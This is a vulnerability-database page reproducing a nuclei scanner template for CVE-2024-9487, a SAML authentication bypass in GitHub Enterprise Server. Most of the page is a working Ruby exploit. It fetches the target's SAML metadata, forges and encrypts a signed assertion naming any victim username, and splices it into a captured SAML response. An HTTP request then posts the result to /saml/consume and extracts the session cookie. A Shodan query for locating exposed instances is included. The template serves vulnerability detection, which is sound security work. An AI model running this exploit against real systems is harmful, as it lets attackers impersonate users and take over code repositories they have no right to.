Lucene search
K

GitHub Enterprise - SAML Authentication Bypass

🗓️ 10 Nov 2024 22:28:26Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 48 Views

GitHub Enterprise SAML Authentication Bypass vulnerabilit

Related
Refs
Code
id: CVE-2024-9487

info:
  name: GitHub Enterprise - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
  reference:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
    epss-score: 0.38910
    epss-percentile: 0.97110
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso

code:
  - engine:
      - ruby

    source: |
      ## Variable Usage:
      # username - Victim Github Username/Email to impersonate.
      # SAMLResponse - SAML Response body.
      # metadata_url - IDP's Metadata URL.
      # RelayState - Relay state associated with the SAML Response body.

      require 'nokogiri'
      require 'openssl'
      require 'base64'
      require 'cgi'
      require 'open-uri'
      saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
      saml_response = Nokogiri::XML(saml_response_xml)
      namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
      issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text

      metadata_idp_url = (ENV['metadata_url'])
      # URL to fetch the XML from
      url = "#{ENV['RootURL']}/saml/metadata"
      begin
        # Open the URL and read the XML
        xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
        xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
        # Parse the XML content with Nokogiri
        doc = Nokogiri::XML(xml_content)
        idp_doc = Nokogiri::XML(xml_content_idp)

        # Extract the ds:X509Certificate
        certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
        audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
        recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
        idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')


        # Print the extracted certificate
        if certificate
          enc_cert = Base64.decode64("#{certificate.text.strip}")
        else
          puts "ds:X509Certificate not found in the XML."
        end

      rescue OpenURI::HTTPError => e
        puts "HTTP Error: #{e.message}"
      rescue => e
        puts "An error occurred: #{e.message}"
      end
      signed_assertion_xml = <<-XML
      <saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
      XML

      signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
      doc = Nokogiri::XML(signed_assertion_xml)

      signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)

      cert = enc_cert
      cert = OpenSSL::X509::Certificate.new(cert)
      public_key = cert.public_key

      # Encrypt the signed assertion node using AES and RSA for key wrapping
      def encrypt_assertion(assertion_node, rsa_public_key)
        # Create a random AES key for encrypting the data
        aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key

        # Encrypt the signed assertion (as an XML string)
        cipher = OpenSSL::Cipher.new('AES-256-CBC')
        cipher.encrypt
        cipher.key = aes_key

        encrypted_data = cipher.update(assertion_node) + cipher.final

        # Encrypt the AES key using the RSA public key
        encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)


        # Base64 encode both the encrypted data and the encrypted AES key
        encrypted_data_b64 = Base64.encode64(encrypted_data)
        encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
        encrypted_assertion_xml = <<-XML
            <saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
              <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
                <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
                <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
                  <xenc:EncryptedKey>
                    <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
                    <xenc:CipherData>
                      <xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
                    </xenc:CipherData>
                  </xenc:EncryptedKey>
                </ds:KeyInfo>
                <xenc:CipherData>
                  <xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
                </xenc:CipherData>
              </xenc:EncryptedData>
            </saml:EncryptedAssertion>
            XML

        Nokogiri::XML(encrypted_assertion_xml)
      end

      # Parse the signed assertion into Nokogiri XML document
      doc = Nokogiri::XML(signed_assertion_xml)
      assertion_node = doc.at('//saml2:Assertion', namespaces)
      assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
      assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
      assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
      assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
      assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
      assertion_node_1 = Nokogiri::XML(assertion_node_str)
      assertion_node_dup = assertion_node_1.dup
      assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove

      assertion_node_dup.xpath('//text()').each do |text_node|
        text_node.content = text_node.text.strip
      end

      canonical_xml = assertion_node_dup.canonicalize(
      Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
      [], # InclusiveNamespaces PrefixList
      false # WithComments
      )

      # Compute the SHA-256 Digest
      digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
      digest_base64 = Base64.encode64(digest).strip
      assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
      final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
      encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
      encrypted_assertion_node_str = encrypted_assertion_node.to_xml

      #create new saml doc

      saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
      saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
      saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
      object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
      object_node.namespace = saml_resp_sign_node.namespace
      object_node.add_child(saml_resp_node.dup)
      saml_resp_sign_key_node.add_next_sibling(object_node)
      encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
      encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
      saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
      saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
      puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))

http:
  - raw:
      - |
        POST /saml/consume HTTP/1.1
        Host: {{Hostname}}
        Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}};
        Content-Type: application/x-www-form-urlencoded

        RelayState={{RelayState}}&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"dotcom_user")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - user_session
# digest: 4a0a00473045022100d4499f701d4dbaa3fee40a00ced7f7790a94891bc9007aed06b4741a76fd543c0220713f41ccb6c2e702ac3513a926d5308c1077bf3cf7f01d4b049c347bd3dfd7e7:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2025 08:27Current
9.3High risk
Vulners AI Score9.3
CVSS 3.19.1
CVSS 49.5
EPSS0.22443
SSVC
48